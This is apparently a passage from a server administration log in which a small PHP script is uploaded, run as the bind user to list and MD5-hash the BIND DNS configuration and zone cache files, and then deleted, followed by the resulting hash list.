MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-30 16:46:33: Establishing a connection
2026-03-30 16:46:33: 

PUT: /tmp/pkp400144

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-30 16:46:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp400144; rm /tmp/pkp400144'

2026-03-30 16:46:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
